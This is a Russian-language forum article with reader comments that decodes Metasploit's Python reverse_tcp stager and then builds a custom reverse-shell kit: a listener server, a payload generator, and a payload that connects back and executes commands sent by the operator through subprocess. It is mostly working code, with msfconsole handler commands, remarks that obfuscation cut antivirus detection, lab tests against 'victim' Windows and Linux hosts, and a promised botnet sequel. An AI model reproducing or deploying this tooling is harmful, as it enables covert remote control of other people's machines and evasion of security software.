Следуйте инструкциям в видео ниже, чтобы узнать, как установить наш сайт как веб-приложение на главный экран вашего устройства.
Примечание: Эта функция может быть недоступна в некоторых браузерах.
Вы используете устаревший браузер. Этот и другие сайты могут отображаться в нём неправильно. Необходимо обновить браузер или попробовать использовать другой.
РАЗБОРPentestСтатья
Разбираемся как работает python, meterpreter, reverse_tcp или handler своими руками на python3
Доброго времени суток, коллеги, сегодня хотелось бы поговорить с вами на тему того, как же работает Handler Metaspolit'a, что генерирует msfenom для python и почему эти payload'ы детектятся.
На написание данной статьи меня подвигли очень часто встречающиеся как и на форуме, так и в личных сообщениях вопросы по типу "как закриптовать payload?", "почему антивирусник ругается на сгенерированный файл" и все в таком духе.
Если честно до этого момента я не очень-то и пользовался автоматически сгенерированными payload'ами и понятия не имею что внутри них происходит, но давайте разбираться вместе.
Для этого нам понадобится:
Установленный Metasploit, как его поставить на свой компьютер можете почитать тут, а статья по установке Metasploit на телефон находиться здесь.
Python 3.6 или версии выше, скачать и установить можете с официального сайта.
Исследовательский интерес ко всему происходящему.
Акт I - зрим в корень
В первую очередь давайте сгенерируем сам payload при помощи команды:
И посмотрим что же нам сгенерировал этот чудесный инструмент, вводим команду (вы можете пользоваться любым другим, удобным вам редактором текста или IDLE):
Думаю по коду всем понятно что тут в exec() - импортируется стандартная библиотека base64 и выполняется какой-то зашифрованный в тот же base64 код.
exec() динамически исполняет переданный в него код, если вызван без аргументов то возвращает False Более подробно можете почитать тут
Расшифруем эту часть кода при помощи python и выясним, что за код пытается выполнить этот payload:
Python:
import base64
text = 'aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEyNy4wLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9'
decode_text = base64.b64decode(text)
print(decode_text.decode(encoding='utf-8'))
В результате получаем вот такой вывод:
Python:
import socket,struct,time
for x in range(10):
try:
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('127.0.0.1',4444))
break
except:
time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(d,{'s':s}
Как нам становиться ясно, в выше переведенном коде происходит импорт трех стандартных модулей:
socket - для использования как ни странно сокетов, struct для работы с многобайтовыми типами данных и time - модуль для работы со временем.
Далее объявляется цикл с десятью итерациями, где в каждой итерации происходит попытка установить соединение по TCP/IP с IP адресом 127.0.0.1 через 4444 порт и если удачно то цикл прерывается, а если нет, то происходит пяти секундный таймаут и запускается новая итерация. Кстати, не совсем понятно для чего нужна именно библиотека TIME ведь в классе socket из модуля socket есть метод settimeout() для этих целей. Но да ладно, далее по коду, если попытка соединения была удачной, то идет ожидание данных от сервера которые в свою очередь обрабатываются через модуль struct и передаются в exec() .
Рассмотрев этот код, мы должны понять, что сам payload вряд-ли представляет интерес для антивирусного ПО, ибо в нем нет ничего криминального.
Наверное, дело как раз в том коде, который посылает payload'у сервер.
Пора глянуть что же там. Для этого запустим handler msf с ожиданием полезной нагрузки python/meterpreter/reverse_tcp следующей командой:
Bash:
sudo msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD python/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST {ip адресс handler'а}
msf5 exploit(multi/handler) > set LPORT {незанятый порт который будт слушать handler}
msf5 exploit(multi/handler) > run
Теперь вернемся к Python, для дальнейшего исследования нам понадобится библиотека pwntools, устанавливаем:
Python:
pip install pwntools
И напишем следующую конструкцию:
Python:
import pwn
s = pwn.connect(str"{ip адресс handler'а}", int(порт который слушает handler))
s.interactive()
Вдаваться сейчас в подробное описание библиотеки pwntools я не буду, эта статья о другом, но лишь скажу что метод interactive() позволит нам взаимодействовать с сервером, к которому мы подключаемся, как говорится на лету.
Более подробно с библиотекой можно ознакомиться тут. Запускаем и смотрим. Вот что мы получили в результате:
1400 строк кода, вот, что прислал нам Msf Handler, в этой статье мы не будем анализировать этот код, но если вам интересно сделать это самостоятельно, то оставляю вам ссылку на код. Загрузил его на пастебин для вашего удобства.
Теперь проверим, что думают антивирусники по этому поводу:
Сказать честно, очень удивлен, что детект настолько низкий, так же я посмотрел как работают другие reverse tcp payload'ы и все оказалось то же самое. Payload открывает соединение, принимает основной код и выполняет его. Так же я в качестве эксперимента, обфусцировал возвращаемый Hendler'oм код при помощи библиотеки pyminifier и получил вот такой результат сканирования на virustotal:
Мой касперский при запуске обфускцированого кода тоже не стал ругаться. И если вам по какой-то причине очень сильно хочется использовать сгенерериованые msfvenom'oм полезные нагрузки, в тоже время у вас нет желания, чтобы они детектились антивирусами при сигнатурном анализе, вы можете модефицировать файл с полезной нагрузкой таким образом, что бы он не сразу выполнял код который присылает handler, а сначала шифровал этот код, но как это сделать, в другой раз, ведь сейчас мы переходим к той части статьи, ради которой она и задумывалась. А именно, мы приступаем к разработке собственного инструментария !
АКТ II - что нам стоит remote shell построить
В этой части статьи перед нами стоит цель написать свой генератор полезных нагрузок, сервер который будет отвечать за то, чтобы принимать подключения и отсылать наши команды удаленному хосту, ну и собственно сам payload, используя только стандартные библиотеки. Как итог у нас будет три файла:
server.py, generator.py и payload.py
С файлами разобрались и я предлагаю вам начать разработку с главного, а именно с сервера, постараемся определиться с архитектурой и учесть некоторые моменты которые связанные с клиент-серверными приложениями.
Мы будем использовать парадигму ООП, но даже если вы не знакомы с таким понятием, по ходу дела я постараюсь объяснить вам все, максимально доступным образом.
На этот раз классов у нас будет всего 3 это:
Class Server - отвечающий за то что бы ожидать соединения и добавлять новые сессии в список.
Class HandlerCommand- который будет отвечать за логику общения с удаленным хостом.
Class RunProgram - который будет отвечать за создание объектов других классов и вывода некоторых методов в отдельные фоновые потоки.
Server.py
Объявляем первый класс Server и метод конструктора класса __init__:
На вход этот класс будет принимать три аргумента, это ip адрес на котором будет работать сервер, порт который будет слушать сервер и лимит одновременных подключений.
Двойное подчеркивание "__" перед именем переменной означает то, что эта переменная будет приватной и к ней будет нельзя обратиться за пределами этого класса, я решил это сделать по той причине, что если кому-то из вас захочется доработать функционал других классов, например, HandlerCommand, вы случайно ничего не сломали в классе Server. Так же в классе Server мы объявляем некоторые свойства, socket для работы с сокетом, client_list - куда мы будем складывать список сессий и счетчик клиентов, для того что бы давать уникальные имена установленным подключениям.
Первый метод будет у нас очень простым:
Python:
def start_server(self) -> str:
self.socket.bind((self.__server_ip, self.__server_port))
self.socket.listen(self.__server_max_connect)
return f'[*] server is running on ip {self.__server_ip} and port {self.__server_port}'
Этот метод запускает слушатель по заданным нами данными и возвращает строку в которой содержится текст, о том что сервер запущен и имеет такой-то ip и такой-то порт.
Второй метод класса:
Python:
def waiting_connection(self):
while self.run:
__client_connect, __client_data = self.socket.accept()
print(f'[+] Created a session with {__client_data[0]} \n')
__client_connect.settimeout(10)
self.append_clients_list(__client_connect, __client_data)
Метод, который в бесконечном цикле ожидает подключение к серверу и если оно происходит то присваивает значение двум приватным переменным __client_connect, в которой храниться объект класса подключенного к нам хоста и __client_data , где храниться одномерный массив данных вида - [client ip, client socket port].
Если подключение произошло, метод выводит на печать в консоль сообщение что создана новая сессия, затем устанавливает таймаут в 10 секунд для нового клиента, это будет использоваться в тех случаях, когда сервер отправит клиенту какую-то информацию, если в течении этих 10 секунд не получит ответа то вернет нам timeout error. Далее этот метод передает нашему следующему методу в качестве аргументов значение переменных __client_connect и __client_data.
Сей метод нужен нам для того, чтобы сервер хранил у себя информацию о всех подключенных к нам клиентах. Увеличиваем значение приватной переменной на один за каждого подключенного, и добавляем к списку clients_list вложенный список, который содержит в себя имя сессии, ip адрес клиента, socket port клиента и объект класса socket собственно который нужен нам для общения с этим клиентом. На этом описания класса заканчивается. Давайте запустим теперь нашу программу и если все сделано правильно, сервер не должен вернуть никаких ошибок.
И пробуем подключиться к серверу:
Как вы видите, подключение произошло, сервер выдал нам на печать об этом уведомление и все работает.
Так же в дальнейшем вы можете использовать этот класс в своих клиент серверных приложениях, но учтите, для "боевых" задач, ему необходимо будет добавить еще методов например таких как остановка сервера, перезапуск сервера и всевозможные обработчики исключений которые могут произойти.
Пришло время для второго класса HandlerCommand, как мы помним он у нас для работы с активными сессиями. Пора объявить его а так же метод конструктора класса __init__:
Python:
class HandlerCommand:
def __init__(self):
self.set_command = ''
self.clients_list = programm.new_server.clients_list
Да, вот это и все свойства класса, переменная set_command которая будет хранить введенные нами команды и переменная clients_list которая получает данные из экземпляра класса который мы создадим немного позже, пока добавим методов нашему классу HandlerCommand. Первый метод у нас такой:
Он очень маленький и это единственный метод который мы будем вызывать самостоятельно, он нужен для того, чтобы передавать наши команды в обработчик команд.
А вот второй метод этого класса, как раз и будет нашим обработчиком введенных оператором комманд:
Python:
def process_command(self, command: str = 'help') -> str:
result_command = None
if command.lower() == 'list' or command.lower() == 'sessions':
result_command = self.get_active_sessions()
elif len(command.split(' ')) == 2 and command.lower().split(' ')[0] == 'get' and command.split(' ')[1].isdigit():
self.get_shell_sessions(command.split(' ')[1])
elif command.lower() == 'help':
result_command = """Commands:
list or sessions - displays a list of active connections.
get {session number} - returns remote access over the session of the corresponding number.
help - displays this information.
"""
else:
result_command = '[!] Command not found ! Enter "help" to get a list of all commands.'
return result_command
Метод, который принимает один аргумент, что по умолчанию равен строке - "help" и собственно логика самого обработчика, для статьи было принято решение реализовать всего три команды, вывод списка активных сессий, получение удаленного шелла для выбранной сессии и вызов справки по командам.
Первое условие очень простое, если в качестве аргумента этот метод принял строку "list" или "sessions", то он обращается к методу get_active_sessions, его мы напишем следующим. Вторая проверка условий работает так - если переданный аргумент состоит из двух частей и первая часть равна строке get а вторая часть состоит только из цифр то обращаемся к методу get_shell_sessions передавая ему в качестве аргумента именно вторую часть, которая состоит из цифр. Когда мы реализуем метод получения шелла сессий, все станет чуть более понятно. Ну и третья проверка - если в качестве аргумента была передана строка "help" возвращаем описание по имеющимся командам.
Если не одно из условий не сработало, говорим оператору что его команда не найдена и он может воспользоваться help'ом, дабы получить весь список команд. В дальнейшем вы сможете реализовать более обширный функционал дописав свои методы и обработчики для команд.
Следующий у нас на очереди метод get_active_sessions:
Python:
def get_active_sessions(self) -> str:
__list_active_session = []
try:
for client in self.clients_list:
try:
self.clients_list.get(client).get('client connect').send(bytes('beacon', encoding='utf-8'))
__list_active_session.append(self.clients_list.get(client).get('session name'))
except ConnectionAbortedError:
self.clients_list.pop(client)
continue
except ConnectionResetError:
self.clients_list.pop(client)
continue
except RuntimeError:
pass
result = '-------- ACTIVE SESSIONS --------' + '\n' + ' '.join(__list_active_session)
return result
В этом методе, при каждом его вызове мы создаем пустой массив __list_active_session так, как нам важно видеть активные сессии именно в тот момент, когда мы отправили команду. Далее в цикле мы находим по словарю clients_list информацию, для которого мы получили в конструкторе класса. После пытаемся каждому клиенту который был к нам подключен отправить сообщение "beacon", в библиотеке socket есть уже реализованные методы проверки активности подключения, но я решил описать эту логику сам дабы вы увидели как это работает.
Так вот, после отправки нами сообщения мы смотрим, было ли оно доставлено и если все так, добавим имя клиента который активен в массив __list_active_session, а дальше обрабатываем исключения таким образом, что если по каким-то причинам соединение с клиентом было разорвано, то такого клиента мы удаляем из clients_list, дабы в дальнейшем к нему не пытаться обращаться в нашем цикле.
Если по какой-то причине (как было замечено, такое происходит когда клиент отключается во время проверки активных сессий) мы выйдем за приделы списка, то просто ничего не делаем и переходим к тому, чтобы вернуть строку, в которой будут все наши активные клиенты. Надеюсь, это все не очень сложно и вы понимаете, что происходит в данном коде. Следом давайте запустим наш сервер и попробуем подключить несколько клиентов, получить список активных сессий, отключить некоторых из клиентов и получить новый список.
Думаю на скриншотах видно, что мы с успехом получаем активные в данный момент сессии. Теперь перейдем к написанию последнего метода для этого класcа get_shell_sessions:
Здесь на вход мы принимаем, что один аргумент, который нам должен был послать обработчик команд, что мы разбирали выше. Далее в бесконечном цикле мы предоставляем оператору возможность ввода команд для конкретной сессии, если веденная команда будет равна "q" или "quit" - нас вернет к методу в котором мы могли смотреть список сессий и выбирать их для получения шелла.
В ином случае введенная оператором команда будет передана к удаленному клиенту. Далее мы ожидаем ответ о выполнении команды и, если в течении десяти секунд ответ получен не будет (длительного ожидания ответа, как вы помните, мы задавали в методе waiting_connection, который имеет пренадлежность классу Server вот в этой переменной __client_connect.settimeout(10)), то мы сообщим что время ожидания вышло, если по какой то причине соединение будет разорвано, мы так же вернемся к выбору сессий.
И в последнем блоке мы пытаемся расшифровать байтовый ответ от клиента под кодировку utf-8 и если это не получается, делаем это под кодировку windows-1251, это реализовано так, потому что на машинах в которых установлен русский язык - вывод консоли возвращается именно в этой кодировке.
На этом описание данного класса закончено. Остался последний класс RunProgram, объявляем его и метод конструктора __init__:
Тут мы создаем экземпляр класса Server с заданными параметрами, которые равны аргументам которые ожидает сам класс RunProgram и далее в отдельном потоке вызываем метод waiting_connection из только что созданного экземпляра.
Тут мы обращаемся к методу start_server через экземпляр класса Server и выводим в консоль то, что он возвращает, далее запускаем поток, который мы определили в конструкторе. Затем говорим, что этот поток должен работать в фоне, это нужно для того, чтобы слушатель работал и в то время - пока мы взаимодействуем с какой то из сессий, в противном случае, мы получали новые подключения только тогда когда не работали бы с классом HandlerCommand.
И запускаем наш сервер вот так:
Код:
if __name__ == '__main__':
programm = RunProgram(ip_address='172.18.12.13', port_number=4545)
programm.main()
handler = HandlerCommand()
while True:
handler.choice_command()
с файлом Server.py мы закончили и большая часть работы уже завершена. Но мы с вами еще вернемся к нему после того как напишем генератор и сам пайлоад.
Generator.py
Тут не будет ничего сложного и страшного нам понадобиться всего одна библиотека argparse, файл generator.py будет для понимания легче, чем server.py и состоять будет только из одного класса, так что давайте не будем медлить и объявим его и такой уже родной, метод конструктора класса:
Python:
class GeneratorPayload:
def __init__(self):
self.user_settings = argparse.ArgumentParser(description='Instructions for using the program')
self.user_settings.add_argument('-LHOST', default=str('"127.0.0.1"'), nargs='?', help='ip address your listener')
self.user_settings.add_argument('-LPORT', default=int(4444), nargs='?', help='port number your listener')
self.user_settings.add_argument('-NAME', default=str('payload.py'), nargs='?', help='name your payload')
self.payload_settings = self.user_settings.parse_args()
Здесь мы просто задаем аргументы, которые сможет ввести пользователь качестве переменных. Более подробно о парсинге аргументов из командной строки я рассказывал в этой статье. Дальше объявляем наш первый метод для этого класса:
Тут у нас есть всего одна переменная payload, которая является строкой, в ней содержится код для будущего payload.py а далее обращение к методу save_payload, где в качестве аргумента используется эта самая переменная.
Очень просто, открываем файл с именем который пользователь передаст в качестве аргумента, по умолчанию payload.py, если файла не существует то создаем. Далее записываем в него содержимое аргумента configured_payload , который мы приняли из предыдущего метода, закрываем файл. На этом написание нашего генератора заканчивается. Давайте попробуем теперь создать нашу полезную нагрузку при помощи только что написанной программы.
Все получилось так как мы и задумывали, полезная нагрузка сгенерирована с теме парамтрами которые мы и указали.
Payload.py
Пару слов о созданной нами нагрузке думаю все же нужно сказать, хоть ее код и будет для большинства очень очевиден:
Python:
import socket
LHOST: str = "172.18.12.13"
LPORT: int = 4545
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((LHOST, LPORT))
exec(s.recv(4096).decode(encoding='utf-8'))
Мы подключаем стандартный модуль сокет и пытаемся подключится к нашему слушателю по указанным для генератора данным, после чего ожидаем на выполнение код от сервера.
Предвижу очевидный вопрос, какой код ? Мы же ничего такого в файле server.py не писали ? Да, это верно, но так же я и говорил, что мы вернемся еще к редактированию файла server.py.
Я решил вынести код который будет передаваться нашей полезной нагрузке именно в этот блок статьи, так как он выполняется все же в payload.py и дабы не захламлять кодом и без того большой файл. Сейчас нам необходимо вернуться к методу waiting_connection класса Server который мы описали в файле server.py и в этом методе после строки № 4 ( __client_connect.settimeout(10) ) следует добавить вот такой код:
Он говорит нам о том, что как только новый клиент будет подключен, мы отправим ему содержимое переменной payload_output_server. Далее мы ее инициализируем, для этого перейдем к блоку if __name__ == '__main__': и НАД ним напишем следующие:
Python:
payload_output_server = """
import os
import subprocess
while True:
try:
a = s.recv(4096)
except ConnectionResetError:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((LHOST, LPORT))
a = s.recv(4096)
a = a.decode(encoding='utf-8')
command = a
if command.lower() == 'beacon':
continue
try:
if command.lower().split(' ')[0] == 'cd':
os.chdir(command.split(' ')[1])
except IndexError:
pass
except FileNotFoundError:
s.send(bytes(f"[!] The system cannot find the path specified: {command.split(' ')[1]}", encoding='utf-8'))
continue
except PermissionError:
s.send(bytes(f"[!] Access denied: {command.split(' ')[1]}", encoding='utf-8'))
if len(command) > 0:
a = subprocess.Popen(command[:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
out_bit = a.stdout.read() + a.stderr.read()
try:
convert_out_bit_str = out_bit.decode(encoding='utf-8')
except UnicodeDecodeError:
convert_out_bit_str = out_bit.decode(encoding='windows-1251')
s.send(bytes(convert_out_bit_str, encoding='utf-8'))
else:
continue
"""
В этой переменной будет храниться строка, значение которой вы видите выше. Это код, который будет выполнен на стороне клиента при подключении. Сильно в него углубляться не будем, я и так уже изрядно утомил вас своей писаниной, но скажу что в нем реализовано переподключение к серверу если сервер будет например перезапущен, так же эта часть кода принимает данные от сервера, передает их в cli и возвращает ответ от cli серверу.
АКТ III - один раз напиши, семь раз потесть
С программированием на сегодня все, было больно, но, надеюсь, вы справились и поняли, что и как работает в коде, который представлен выше. Теперь пришло время для проведения лабораторных тестов того чуда которое мы с вами создали.
Давайте условимся так:
В качестве сервера будет выступать машина на Kali linux с ip 172.18.12.12
В качестве жертвы № 1 машина на Windows 10, с корпоративным касперским на борту, которая имеет ip 172.18.12.13
В качестве жертвы № 2 будет машина под управлением Astra Linux с ip адресом ip 172.18.12.61
Запускаем наш payload на Windows машине:
Теперь запустим на Astra Linux
Давайте попробуем ввести несколько комманд и посмотреть как это отработает.
Как видим, команды выполняются, ответ от cli удаленного клиента приходит и все у нас получилось как и было задумано. На этом тесты завершаем.
Послесловие
Спасибо вам, если дочитали до этого момента, статья получилась обширной и немного сумбурной, но в свое оправдание скажу, что никогда не занимался написанием подобного. Этим материалом я хотел немного расширить ваше понимание того, как работает обратное подключение и handler Metasploit Framework. Надеюсь, вам было интересно и вы узнали для себя что-то новое. Исходный код я прикреплю к статье в виде архива, вы можете использовать его и модифицировать по своему усмотрению. Если статья наберет много лайкосиков, то в следующий раз напишем с вами полноценный ботнет на каком-нибудь асинхронном фреймворке с gui панелью управлений и прочими плюшками. А на сегодня всё. Всем удачи и пишите комментарии.
Тут не будет ничего сложного и страшного нам понадобиться всего одна библиотека argparse, файл generator.py будет для понимания легче, чем server.py и состоять будет только из одного класса,
Возможно, я что-то недопонимаю, но зачем применять ООП в программе, если используется всего один класс ?
В этом существует какая-то скрытая необходимость ?
Или это привычка автора, который привык программировать в других языках ?
Возможно, я что-то недопонимаю, но зачем применять ООП в программе, если используется всего один класс ?
В этом существует какая-то скрытая необходимость ?
Или это привычка автора, который привык программировать в других языках ?
Ну во первых да, писать классами это привычка. Во вторых, возможно тебе или кому-то другому захочется взять этот код для своего проекта и с таким подходом, человек просто сделает ctrl+c\ctrl+v.
Либо тебе или кому-то еще захочется допилить этот код, сделать например валидацию пользовательских аргументов, возможность генерить другие пайлоады и вообще на что фантазии хватит. И например для проверки пользовательских данных, ты просто отнаследуешься от основного класса и тебе не нужно будет городить костыли.
Я про это в следующей статье расскажу которая будет ботнету посвящена. Она будет разбита на несколько частей потому что работы там действительно много.
Но раньше чем через месяц, не ждите, очень много дел в реале опять на меня упало.
Я про это в следующей статье расскажу которая будет ботнету посвящена. Она будет разбита на несколько частей потому что работы там действительно много.
Но раньше чем через месяц, не ждите, очень много дел в реале опять на меня упало.
Отличная статья. Спасибо ) Много с этим работал но в целом были мизерные представления и знания о принципе работы. насчет generator.py отдельно благодарю. Ждемс еще)
ТС, а если payload.py через pyinstaller в ехе преобразовать и запускать на машине без интерпретатора питона, код отправленный сервером на exec уже работать не будет?
На данном сайте используются файлы cookie, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы зарегистрируетесь. Продолжая использовать этот сайт, Вы соглашаетесь на использование наших файлов cookie.
Комментарии
13